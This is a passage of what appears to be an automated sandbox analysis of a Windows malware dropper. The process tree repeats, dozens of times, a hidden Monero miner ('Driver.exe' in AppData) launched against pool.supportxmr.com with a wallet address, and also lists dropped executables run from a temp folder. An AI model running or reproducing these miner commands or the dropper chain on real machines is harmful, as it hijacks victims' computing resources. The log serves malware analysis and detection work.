                                                                                                                                              "C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe" -o pool.supportxmr.com:3333 -u 8BFyHJmwhhxXo29aFXZrTJTWDbkiQFEsBBnj1VnHBcy9ZQ2NKEUGdKvZbWGRNYamgAgJ75jsX1bzDiVh21D5WShJPJVqaMU -p x -k -v=0 --donate-level=1 -t 4
                                                                                                                                              6⤵
                                                                                                                                                PID:3264
                                                                                                                                              • C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe
                                                                                                                                                "C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe" -o pool.supportxmr.com:3333 -u 8BFyHJmwhhxXo29aFXZrTJTWDbkiQFEsBBnj1VnHBcy9ZQ2NKEUGdKvZbWGRNYamgAgJ75jsX1bzDiVh21D5WShJPJVqaMU -p x -k -v=0 --donate-level=1 -t 4
                                                                                                                                                6⤵
                                                                                                                                                  PID:1480
                                                                                                                                                • C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe
                                                                                                                                                  "C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe" -o pool.supportxmr.com:3333 -u 8BFyHJmwhhxXo29aFXZrTJTWDbkiQFEsBBnj1VnHBcy9ZQ2NKEUGdKvZbWGRNYamgAgJ75jsX1bzDiVh21D5WShJPJVqaMU -p x -k -v=0 --donate-level=1 -t 4
                                                                                                                                                  6⤵
                                                                                                                                                    PID:2396
                                                                                                                                                  • C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe
                                                                                                                                                    "C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe" -o pool.supportxmr.com:3333 -u 8BFyHJmwhhxXo29aFXZrTJTWDbkiQFEsBBnj1VnHBcy9ZQ2NKEUGdKvZbWGRNYamgAgJ75jsX1bzDiVh21D5WShJPJVqaMU -p x -k -v=0 --donate-level=1 -t 4
                                                                                                                                                    6⤵
                                                                                                                                                      PID:2508
                                                                                                                                                    • C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe
                                                                                                                                                      "C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe" -o pool.supportxmr.com:3333 -u 8BFyHJmwhhxXo29aFXZrTJTWDbkiQFEsBBnj1VnHBcy9ZQ2NKEUGdKvZbWGRNYamgAgJ75jsX1bzDiVh21D5WShJPJVqaMU -p x -k -v=0 --donate-level=1 -t 4
                                                                                                                                                      6⤵
                                                                                                                                                        PID:4372
                                                                                                                                                      • C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe
                                                                                                                                                        "C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe" -o pool.supportxmr.com:3333 -u 8BFyHJmwhhxXo29aFXZrTJTWDbkiQFEsBBnj1VnHBcy9ZQ2NKEUGdKvZbWGRNYamgAgJ75jsX1bzDiVh21D5WShJPJVqaMU -p x -k -v=0 --donate-level=1 -t 4
                                                                                                                                                        6⤵
                                                                                                                                                          PID:1072
                                                                                                                                                          • C:\Windows\System32\Conhost.exe
                                                                                                                                                            \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                                                            7⤵
                                                                                                                                                              PID:1792
                                                                                                                                                          • C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe
                                                                                                                                                            "C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe" -o pool.supportxmr.com:3333 -u 8BFyHJmwhhxXo29aFXZrTJTWDbkiQFEsBBnj1VnHBcy9ZQ2NKEUGdKvZbWGRNYamgAgJ75jsX1bzDiVh21D5WShJPJVqaMU -p x -k -v=0 --donate-level=1 -t 4
                                                                                                                                                            6⤵
                                                                                                                                                              PID:5252
                                                                                                                                                            • C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe
                                                                                                                                                              "C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe" -o pool.supportxmr.com:3333 -u 8BFyHJmwhhxXo29aFXZrTJTWDbkiQFEsBBnj1VnHBcy9ZQ2NKEUGdKvZbWGRNYamgAgJ75jsX1bzDiVh21D5WShJPJVqaMU -p x -k -v=0 --donate-level=1 -t 4
                                                                                                                                                              6⤵
                                                                                                                                                                PID:2240
                                                                                                                                                              • C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe
                                                                                                                                                                "C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe" -o pool.supportxmr.com:3333 -u 8BFyHJmwhhxXo29aFXZrTJTWDbkiQFEsBBnj1VnHBcy9ZQ2NKEUGdKvZbWGRNYamgAgJ75jsX1bzDiVh21D5WShJPJVqaMU -p x -k -v=0 --donate-level=1 -t 4
                                                                                                                                                                6⤵
                                                                                                                                                                  PID:2704
                                                                                                                                                                • C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe
                                                                                                                                                                  "C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe" -o pool.supportxmr.com:3333 -u 8BFyHJmwhhxXo29aFXZrTJTWDbkiQFEsBBnj1VnHBcy9ZQ2NKEUGdKvZbWGRNYamgAgJ75jsX1bzDiVh21D5WShJPJVqaMU -p x -k -v=0 --donate-level=1 -t 4
                                                                                                                                                                  6⤵
                                                                                                                                                                    PID:5192
                                                                                                                                                                  • C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe
                                                                                                                                                                    "C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe" -o pool.supportxmr.com:3333 -u 8BFyHJmwhhxXo29aFXZrTJTWDbkiQFEsBBnj1VnHBcy9ZQ2NKEUGdKvZbWGRNYamgAgJ75jsX1bzDiVh21D5WShJPJVqaMU -p x -k -v=0 --donate-level=1 -t 4
                                                                                                                                                                    6⤵
                                                                                                                                                                      PID:5476
                                                                                                                                                                    • C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe
                                                                                                                                                                      "C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe" -o pool.supportxmr.com:3333 -u 8BFyHJmwhhxXo29aFXZrTJTWDbkiQFEsBBnj1VnHBcy9ZQ2NKEUGdKvZbWGRNYamgAgJ75jsX1bzDiVh21D5WShJPJVqaMU -p x -k -v=0 --donate-level=1 -t 4
                                                                                                                                                                      6⤵
                                                                                                                                                                        PID:5012
                                                                                                                                                                      • C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe
                                                                                                                                                                        "C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe" -o pool.supportxmr.com:3333 -u 8BFyHJmwhhxXo29aFXZrTJTWDbkiQFEsBBnj1VnHBcy9ZQ2NKEUGdKvZbWGRNYamgAgJ75jsX1bzDiVh21D5WShJPJVqaMU -p x -k -v=0 --donate-level=1 -t 4
                                                                                                                                                                        6⤵
                                                                                                                                                                          PID:5372
                                                                                                                                                                        • C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe
                                                                                                                                                                          "C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe" -o pool.supportxmr.com:3333 -u 8BFyHJmwhhxXo29aFXZrTJTWDbkiQFEsBBnj1VnHBcy9ZQ2NKEUGdKvZbWGRNYamgAgJ75jsX1bzDiVh21D5WShJPJVqaMU -p x -k -v=0 --donate-level=1 -t 4
                                                                                                                                                                          6⤵
                                                                                                                                                                            PID:5556
                                                                                                                                                                          • C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe
                                                                                                                                                                            "C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe" -o pool.supportxmr.com:3333 -u 8BFyHJmwhhxXo29aFXZrTJTWDbkiQFEsBBnj1VnHBcy9ZQ2NKEUGdKvZbWGRNYamgAgJ75jsX1bzDiVh21D5WShJPJVqaMU -p x -k -v=0 --donate-level=1 -t 4
                                                                                                                                                                            6⤵
                                                                                                                                                                              PID:4800
                                                                                                                                                                            • C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe
                                                                                                                                                                              "C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe" -o pool.supportxmr.com:3333 -u 8BFyHJmwhhxXo29aFXZrTJTWDbkiQFEsBBnj1VnHBcy9ZQ2NKEUGdKvZbWGRNYamgAgJ75jsX1bzDiVh21D5WShJPJVqaMU -p x -k -v=0 --donate-level=1 -t 4
                                                                                                                                                                              6⤵
                                                                                                                                                                                PID:2876
                                                                                                                                                                              • C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe
                                                                                                                                                                                "C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe" -o pool.supportxmr.com:3333 -u 8BFyHJmwhhxXo29aFXZrTJTWDbkiQFEsBBnj1VnHBcy9ZQ2NKEUGdKvZbWGRNYamgAgJ75jsX1bzDiVh21D5WShJPJVqaMU -p x -k -v=0 --donate-level=1 -t 4
                                                                                                                                                                                6⤵
                                                                                                                                                                                  PID:4700
                                                                                                                                                                                • C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe
                                                                                                                                                                                  "C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe" -o pool.supportxmr.com:3333 -u 8BFyHJmwhhxXo29aFXZrTJTWDbkiQFEsBBnj1VnHBcy9ZQ2NKEUGdKvZbWGRNYamgAgJ75jsX1bzDiVh21D5WShJPJVqaMU -p x -k -v=0 --donate-level=1 -t 4
                                                                                                                                                                                  6⤵
                                                                                                                                                                                    PID:6088
                                                                                                                                                                                  • C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe
                                                                                                                                                                                    "C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe" -o pool.supportxmr.com:3333 -u 8BFyHJmwhhxXo29aFXZrTJTWDbkiQFEsBBnj1VnHBcy9ZQ2NKEUGdKvZbWGRNYamgAgJ75jsX1bzDiVh21D5WShJPJVqaMU -p x -k -v=0 --donate-level=1 -t 4
                                                                                                                                                                                    6⤵
                                                                                                                                                                                      PID:5048
                                                                                                                                                                                    • C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe
                                                                                                                                                                                      "C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe" -o pool.supportxmr.com:3333 -u 8BFyHJmwhhxXo29aFXZrTJTWDbkiQFEsBBnj1VnHBcy9ZQ2NKEUGdKvZbWGRNYamgAgJ75jsX1bzDiVh21D5WShJPJVqaMU -p x -k -v=0 --donate-level=1 -t 4
                                                                                                                                                                                      6⤵
                                                                                                                                                                                        PID:2244
                                                                                                                                                                                      • C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe
                                                                                                                                                                                        "C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe" -o pool.supportxmr.com:3333 -u 8BFyHJmwhhxXo29aFXZrTJTWDbkiQFEsBBnj1VnHBcy9ZQ2NKEUGdKvZbWGRNYamgAgJ75jsX1bzDiVh21D5WShJPJVqaMU -p x -k -v=0 --donate-level=1 -t 4
                                                                                                                                                                                        6⤵
                                                                                                                                                                                          PID:4428
                                                                                                                                                                                        • C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe
                                                                                                                                                                                          "C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe" -o pool.supportxmr.com:3333 -u 8BFyHJmwhhxXo29aFXZrTJTWDbkiQFEsBBnj1VnHBcy9ZQ2NKEUGdKvZbWGRNYamgAgJ75jsX1bzDiVh21D5WShJPJVqaMU -p x -k -v=0 --donate-level=1 -t 4
                                                                                                                                                                                          6⤵
                                                                                                                                                                                            PID:5912
                                                                                                                                                                                            • C:\Windows\system32\WerFault.exe
                                                                                                                                                                                              C:\Windows\system32\WerFault.exe -u -p 5912 -s 368
                                                                                                                                                                                              7⤵
                                                                                                                                                                                                PID:4404
                                                                                                                                                                                            • C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe
                                                                                                                                                                                              "C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe" -o pool.supportxmr.com:3333 -u 8BFyHJmwhhxXo29aFXZrTJTWDbkiQFEsBBnj1VnHBcy9ZQ2NKEUGdKvZbWGRNYamgAgJ75jsX1bzDiVh21D5WShJPJVqaMU -p x -k -v=0 --donate-level=1 -t 4
                                                                                                                                                                                              6⤵
                                                                                                                                                                                                PID:2600
                                                                                                                                                                                              • C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe
                                                                                                                                                                                                "C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe" -o pool.supportxmr.com:3333 -u 8BFyHJmwhhxXo29aFXZrTJTWDbkiQFEsBBnj1VnHBcy9ZQ2NKEUGdKvZbWGRNYamgAgJ75jsX1bzDiVh21D5WShJPJVqaMU -p x -k -v=0 --donate-level=1 -t 4
                                                                                                                                                                                                6⤵
                                                                                                                                                                                                  PID:1464
                                                                                                                                                                                                • C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe
                                                                                                                                                                                                  "C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe" -o pool.supportxmr.com:3333 -u 8BFyHJmwhhxXo29aFXZrTJTWDbkiQFEsBBnj1VnHBcy9ZQ2NKEUGdKvZbWGRNYamgAgJ75jsX1bzDiVh21D5WShJPJVqaMU -p x -k -v=0 --donate-level=1 -t 4
                                                                                                                                                                                                  6⤵
                                                                                                                                                                                                    PID:4868
                                                                                                                                                                                                  • C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe
                                                                                                                                                                                                    "C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe" -o pool.supportxmr.com:3333 -u 8BFyHJmwhhxXo29aFXZrTJTWDbkiQFEsBBnj1VnHBcy9ZQ2NKEUGdKvZbWGRNYamgAgJ75jsX1bzDiVh21D5WShJPJVqaMU -p x -k -v=0 --donate-level=1 -t 4
                                                                                                                                                                                                    6⤵
                                                                                                                                                                                                      PID:3984
                                                                                                                                                                                                    • C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe
                                                                                                                                                                                                      "C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe" -o pool.supportxmr.com:3333 -u 8BFyHJmwhhxXo29aFXZrTJTWDbkiQFEsBBnj1VnHBcy9ZQ2NKEUGdKvZbWGRNYamgAgJ75jsX1bzDiVh21D5WShJPJVqaMU -p x -k -v=0 --donate-level=1 -t 4
                                                                                                                                                                                                      6⤵
                                                                                                                                                                                                        PID:5660
                                                                                                                                                                                                      • C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe
                                                                                                                                                                                                        "C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe" -o pool.supportxmr.com:3333 -u 8BFyHJmwhhxXo29aFXZrTJTWDbkiQFEsBBnj1VnHBcy9ZQ2NKEUGdKvZbWGRNYamgAgJ75jsX1bzDiVh21D5WShJPJVqaMU -p x -k -v=0 --donate-level=1 -t 4
                                                                                                                                                                                                        6⤵
                                                                                                                                                                                                          PID:1692
                                                                                                                                                                                                        • C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe
                                                                                                                                                                                                          "C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe" -o pool.supportxmr.com:3333 -u 8BFyHJmwhhxXo29aFXZrTJTWDbkiQFEsBBnj1VnHBcy9ZQ2NKEUGdKvZbWGRNYamgAgJ75jsX1bzDiVh21D5WShJPJVqaMU -p x -k -v=0 --donate-level=1 -t 4
                                                                                                                                                                                                          6⤵
                                                                                                                                                                                                            PID:1188
                                                                                                                                                                                                          • C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe
                                                                                                                                                                                                            "C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe" -o pool.supportxmr.com:3333 -u 8BFyHJmwhhxXo29aFXZrTJTWDbkiQFEsBBnj1VnHBcy9ZQ2NKEUGdKvZbWGRNYamgAgJ75jsX1bzDiVh21D5WShJPJVqaMU -p x -k -v=0 --donate-level=1 -t 4
                                                                                                                                                                                                            6⤵
                                                                                                                                                                                                              PID:1492
                                                                                                                                                                                                            • C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe
                                                                                                                                                                                                              "C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe" -o pool.supportxmr.com:3333 -u 8BFyHJmwhhxXo29aFXZrTJTWDbkiQFEsBBnj1VnHBcy9ZQ2NKEUGdKvZbWGRNYamgAgJ75jsX1bzDiVh21D5WShJPJVqaMU -p x -k -v=0 --donate-level=1 -t 4
                                                                                                                                                                                                              6⤵
                                                                                                                                                                                                                PID:3228
                                                                                                                                                                                                              • C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe
                                                                                                                                                                                                                "C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe" -o pool.supportxmr.com:3333 -u 8BFyHJmwhhxXo29aFXZrTJTWDbkiQFEsBBnj1VnHBcy9ZQ2NKEUGdKvZbWGRNYamgAgJ75jsX1bzDiVh21D5WShJPJVqaMU -p x -k -v=0 --donate-level=1 -t 4
                                                                                                                                                                                                                6⤵
                                                                                                                                                                                                                  PID:4812
                                                                                                                                                                                                                  • C:\Windows\system32\WerFault.exe
                                                                                                                                                                                                                    C:\Windows\system32\WerFault.exe -u -p 4812 -s 364
                                                                                                                                                                                                                    7⤵
                                                                                                                                                                                                                      PID:3264
                                                                                                                                                                                                                  • C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe
                                                                                                                                                                                                                    "C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe" -o pool.supportxmr.com:3333 -u 8BFyHJmwhhxXo29aFXZrTJTWDbkiQFEsBBnj1VnHBcy9ZQ2NKEUGdKvZbWGRNYamgAgJ75jsX1bzDiVh21D5WShJPJVqaMU -p x -k -v=0 --donate-level=1 -t 4
                                                                                                                                                                                                                    6⤵
                                                                                                                                                                                                                      PID:2472
                                                                                                                                                                                                                    • C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe
                                                                                                                                                                                                                      "C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe" -o pool.supportxmr.com:3333 -u 8BFyHJmwhhxXo29aFXZrTJTWDbkiQFEsBBnj1VnHBcy9ZQ2NKEUGdKvZbWGRNYamgAgJ75jsX1bzDiVh21D5WShJPJVqaMU -p x -k -v=0 --donate-level=1 -t 4
                                                                                                                                                                                                                      6⤵
                                                                                                                                                                                                                        PID:5656
                                                                                                                                                                                                                      • C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe
                                                                                                                                                                                                                        "C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe" -o pool.supportxmr.com:3333 -u 8BFyHJmwhhxXo29aFXZrTJTWDbkiQFEsBBnj1VnHBcy9ZQ2NKEUGdKvZbWGRNYamgAgJ75jsX1bzDiVh21D5WShJPJVqaMU -p x -k -v=0 --donate-level=1 -t 4
                                                                                                                                                                                                                        6⤵
                                                                                                                                                                                                                          PID:4472
                                                                                                                                                                                                                        • C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe
                                                                                                                                                                                                                          "C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe" -o pool.supportxmr.com:3333 -u 8BFyHJmwhhxXo29aFXZrTJTWDbkiQFEsBBnj1VnHBcy9ZQ2NKEUGdKvZbWGRNYamgAgJ75jsX1bzDiVh21D5WShJPJVqaMU -p x -k -v=0 --donate-level=1 -t 4
                                                                                                                                                                                                                          6⤵
                                                                                                                                                                                                                            PID:1544
                                                                                                                                                                                                                          • C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe
                                                                                                                                                                                                                            "C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe" -o pool.supportxmr.com:3333 -u 8BFyHJmwhhxXo29aFXZrTJTWDbkiQFEsBBnj1VnHBcy9ZQ2NKEUGdKvZbWGRNYamgAgJ75jsX1bzDiVh21D5WShJPJVqaMU -p x -k -v=0 --donate-level=1 -t 4
                                                                                                                                                                                                                            6⤵
                                                                                                                                                                                                                              PID:3280
                                                                                                                                                                                                                            • C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe
                                                                                                                                                                                                                              "C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe" -o pool.supportxmr.com:3333 -u 8BFyHJmwhhxXo29aFXZrTJTWDbkiQFEsBBnj1VnHBcy9ZQ2NKEUGdKvZbWGRNYamgAgJ75jsX1bzDiVh21D5WShJPJVqaMU -p x -k -v=0 --donate-level=1 -t 4
                                                                                                                                                                                                                              6⤵
                                                                                                                                                                                                                                PID:2728
                                                                                                                                                                                                                              • C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe
                                                                                                                                                                                                                                "C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe" -o pool.supportxmr.com:3333 -u 8BFyHJmwhhxXo29aFXZrTJTWDbkiQFEsBBnj1VnHBcy9ZQ2NKEUGdKvZbWGRNYamgAgJ75jsX1bzDiVh21D5WShJPJVqaMU -p x -k -v=0 --donate-level=1 -t 4
                                                                                                                                                                                                                                6⤵
                                                                                                                                                                                                                                  PID:2012
                                                                                                                                                                                                                                • C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe
                                                                                                                                                                                                                                  "C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe" -o pool.supportxmr.com:3333 -u 8BFyHJmwhhxXo29aFXZrTJTWDbkiQFEsBBnj1VnHBcy9ZQ2NKEUGdKvZbWGRNYamgAgJ75jsX1bzDiVh21D5WShJPJVqaMU -p x -k -v=0 --donate-level=1 -t 4
                                                                                                                                                                                                                                  6⤵
                                                                                                                                                                                                                                    PID:1456
                                                                                                                                                                                                                                  • C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe
                                                                                                                                                                                                                                    "C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe" -o pool.supportxmr.com:3333 -u 8BFyHJmwhhxXo29aFXZrTJTWDbkiQFEsBBnj1VnHBcy9ZQ2NKEUGdKvZbWGRNYamgAgJ75jsX1bzDiVh21D5WShJPJVqaMU -p x -k -v=0 --donate-level=1 -t 4
                                                                                                                                                                                                                                    6⤵
                                                                                                                                                                                                                                      PID:2572
                                                                                                                                                                                                                                    • C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe
                                                                                                                                                                                                                                      "C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe" -o pool.supportxmr.com:3333 -u 8BFyHJmwhhxXo29aFXZrTJTWDbkiQFEsBBnj1VnHBcy9ZQ2NKEUGdKvZbWGRNYamgAgJ75jsX1bzDiVh21D5WShJPJVqaMU -p x -k -v=0 --donate-level=1 -t 4
                                                                                                                                                                                                                                      6⤵
                                                                                                                                                                                                                                        PID:4196
                                                                                                                                                                                                                                    • C:\Users\Admin\AppData\Local\Temp\9b92a9b433b0c0d63dd84651491f6889c51e4ca0(1).exe
                                                                                                                                                                                                                                      "C:\Users\Admin\AppData\Local\Temp\9b92a9b433b0c0d63dd84651491f6889c51e4ca0(1).exe"
                                                                                                                                                                                                                                      5⤵
                                                                                                                                                                                                                                      • Executes dropped EXE
                                                                                                                                                                                                                                      • System Location Discovery: System Language Discovery
                                                                                                                                                                                                                                      PID:3452
                                                                                                                                                                                                                                • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                  C:\Windows\system32\cmd.exe /c Mon2317ff0edbb41b.exe
                                                                                                                                                                                                                                  3⤵
                                                                                                                                                                                                                                  • Suspicious use of WriteProcessMemory
                                                                                                                                                                                                                                  PID:5816
                                                                                                                                                                                                                                  • C:\Users\Admin\AppData\Local\Temp\7zS85422388\Mon2317ff0edbb41b.exe
                                                                                                                                                                                                                                    Mon2317ff0edbb41b.exe
                                                                                                                                                                                                                                    4⤵
                                                                                                                                                                                                                                    • Executes dropped EXE
                                                                                                                                                                                                                                    • System Location Discovery: System Language Discovery
                                                                                                                                                                                                                                    • Suspicious use of WriteProcessMemory
                                                                                                                                                                                                                                    PID:4260
                                                                                                                                                                                                                                    • C:\Users\Admin\AppData\Local\Temp\7zS85422388\Mon2317ff0edbb41b.exe
                                                                                                                                                                                                                                      "C:\Users\Admin\AppData\Local\Temp\7zS85422388\Mon2317ff0edbb41b.exe" -u
                                                                                                                                                                                                                                      5⤵
                                                                                                                                                                                                                                      • Executes dropped EXE
                                                                                                                                                                                                                                      • System Location Discovery: System Language Discovery
                                                                                                                                                                                                                                      PID:2772
                                                                                                                                                                                                                                • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                  C:\Windows\system32\cmd.exe /c Mon23938d415978.exe
                                                                                                                                                                                                                                  3⤵
                                                                                                                                                                                                                                  • System Location Discovery: System Language Discovery
                                                                                                                                                                                                                                  • Suspicious use of WriteProcessMemory
                                                                                                                                                                                                                                  PID:4244
                                                                                                                                                                                                                                  • C:\Users\Admin\AppData\Local\Temp\7zS85422388\Mon23938d415978.exe
                                                                                                                                                                                                                                    Mon23938d415978.exe
                                                                                                                                                                                                                                    4⤵
                                                                                                                                                                                                                                    • Executes dropped EXE
                                                                                                                                                                                                                                    PID:704
                                                                                                                                                                                                                                    • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                                                                                      C:\Windows\SysWOW64\WerFault.exe -u -p 704 -s 340
                                                                                                                                                                                                                                      5⤵
                                                                                                                                                                                                                                      • Program crash
                                                                                                                                                                                                                                      PID:5080
                                                                                                                                                                                                                                • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                  C:\Windows\system32\cmd.exe /c Mon23da17a89d.exe
                                                                                                                                                                                                                                  3⤵
                                                                                                                                                                                                                                  • System Location Discovery: System Language Discovery
                                                                                                                                                                                                                                  • Suspicious use of WriteProcessMemory
                                                                                                                                                                                                                                  PID:5736
                                                                                                                                                                                                                                  • C:\Users\Admin\AppData\Local\Temp\7zS85422388\Mon23da17a89d.exe
                                                                                                                                                                                                                                    Mon23da17a89d.exe
                                                                                                                                                                                                                                    4⤵
                                                                                                                                                                                                                                    • Executes dropped EXE
                                                                                                                                                                                                                                    • System Location Discovery: System Language Discovery
                                                                                                                                                                                                                                    PID:2824
                                                                                                                                                                                                                                    • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                                                                                      C:\Windows\SysWOW64\WerFault.exe -u -p 2824 -s 340
                                                                                                                                                                                                                                      5⤵
                                                                                                                                                                                                                                      • Program crash
                                                                                                                                                                                                                                      PID:5268
                                                                                                                                                                                                                                • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                  C:\Windows\system32\cmd.exe /c Mon23eb9bbd34021fd7.exe
                                                                                                                                                                                                                                  3⤵
                                                                                                                                                                                                                                  • System Location Discovery: System Language Discovery
                                                                                                                                                                                                                                  • Suspicious use of WriteProcessMemory
                                                                                                                                                                                                                                  PID:5764
                                                                                                                                                                                                                                  • C:\Users\Admin\AppData\Local\Temp\7zS85422388\Mon23eb9bbd34021fd7.exe
                                                                                                                                                                                                                                    Mon23eb9bbd34021fd7.exe
                                                                                                                                                                                                                                    4⤵
                                                                                                                                                                                                                                    • Executes dropped EXE
                                                                                                                                                                                                                                    • System Location Discovery: System Language Discovery
                                                                                                                                                                                                                                    • Suspicious use of WriteProcessMemory
                                                                                                                                                                                                                                    PID:5952
                                                                                                                                                                                                                                    • C:\Users\Admin\AppData\Local\Temp\is-IPUI5.tmp\Mon23eb9bbd34021fd7.tmp
                                                                                                                                                                                                                                      "C:\Users\Admin\AppData\Local\Temp\is-IPUI5.tmp\Mon23eb9bbd34021fd7.tmp" /SL5="$700FC,140047,56320,C:\Users\Admin\AppData\Local\Temp\7zS85422388\Mon23eb9bbd34021fd7.exe"
                                                                                                                                                                                                                                      5⤵
                                                                                                                                                                                                                                      • Executes dropped EXE
                                                                                                                                                                                                                                      • Loads dropped DLL
                                                                                                                                                                                                                                      PID:688
                                                                                                                                                                                                                                • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                  C:\Windows\system32\cmd.exe /c Mon23c390e94b6b.exe
                                                                                                                                                                                                                                  3⤵
                                                                                                                                                                                                                                  • System Location Discovery: System Language Discovery
                                                                                                                                                                                                                                  • Suspicious use of WriteProcessMemory
                                                                                                                                                                                                                                  PID:5016
                                                                                                                                                                                                                                  • C:\Users\Admin\AppData\Local\Temp\7zS85422388\Mon23c390e94b6b.exe
                                                                                                                                                                                                                                    Mon23c390e94b6b.exe
                                                                                                                                                                                                                                    4⤵
                                                                                                                                                                                                                                    • Executes dropped EXE
                                                                                                                                                                                                                                    • Suspicious use of AdjustPrivilegeToken
                                                                                                                                                                                                                                    PID:4200
                                                                                                                                                                                                                                • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                  C:\Windows\system32\cmd.exe /c Mon237638f22d11.exe
                                                                                                                                                                                                                                  3⤵
                                                                                                                                                                                                                                  • Suspicious use of WriteProcessMemory
                                                                                                                                                                                                                                  PID:1276
                                                                                                                                                                                                                                  • C:\Users\Admin\AppData\Local\Temp\7zS85422388\Mon237638f22d11.exe
                                                                                                                                                                                                                                    Mon237638f22d11.exe
                                                                                                                                                                                                                                    4⤵
                                                                                                                                                                                                                                    • Executes dropped EXE
                                                                                                                                                                                                                                    • Suspicious use of SetThreadContext
                                                                                                                                                                                                                                    • System Location Discovery: System Language Discovery
                                                                                                                                                                                                                                    • Suspicious use of AdjustPrivilegeToken
                                                                                                                                                                                                                                    • Suspicious use of WriteProcessMemory
                                                                                                                                                                                                                                    PID:1536
                                                                                                                                                                                                                                    • C:\Users\Admin\AppData\Local\Temp\7zS85422388\Mon237638f22d11.exe
                                                                                                                                                                                                                                      C:\Users\Admin\AppData\Local\Temp\7zS85422388\Mon237638f22d11.exe
                                                                                                                                                                                                                                      5⤵
                                                                                                                                                                                                                                      • Executes dropped EXE
                                                                                                                                                                                                                                      PID:3568
                                                                                                                                                                                                                                • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                  C:\Windows\system32\cmd.exe /c Mon239d2cfa97d5f2304.exe
                                                                                                                                                                                                                                  3⤵
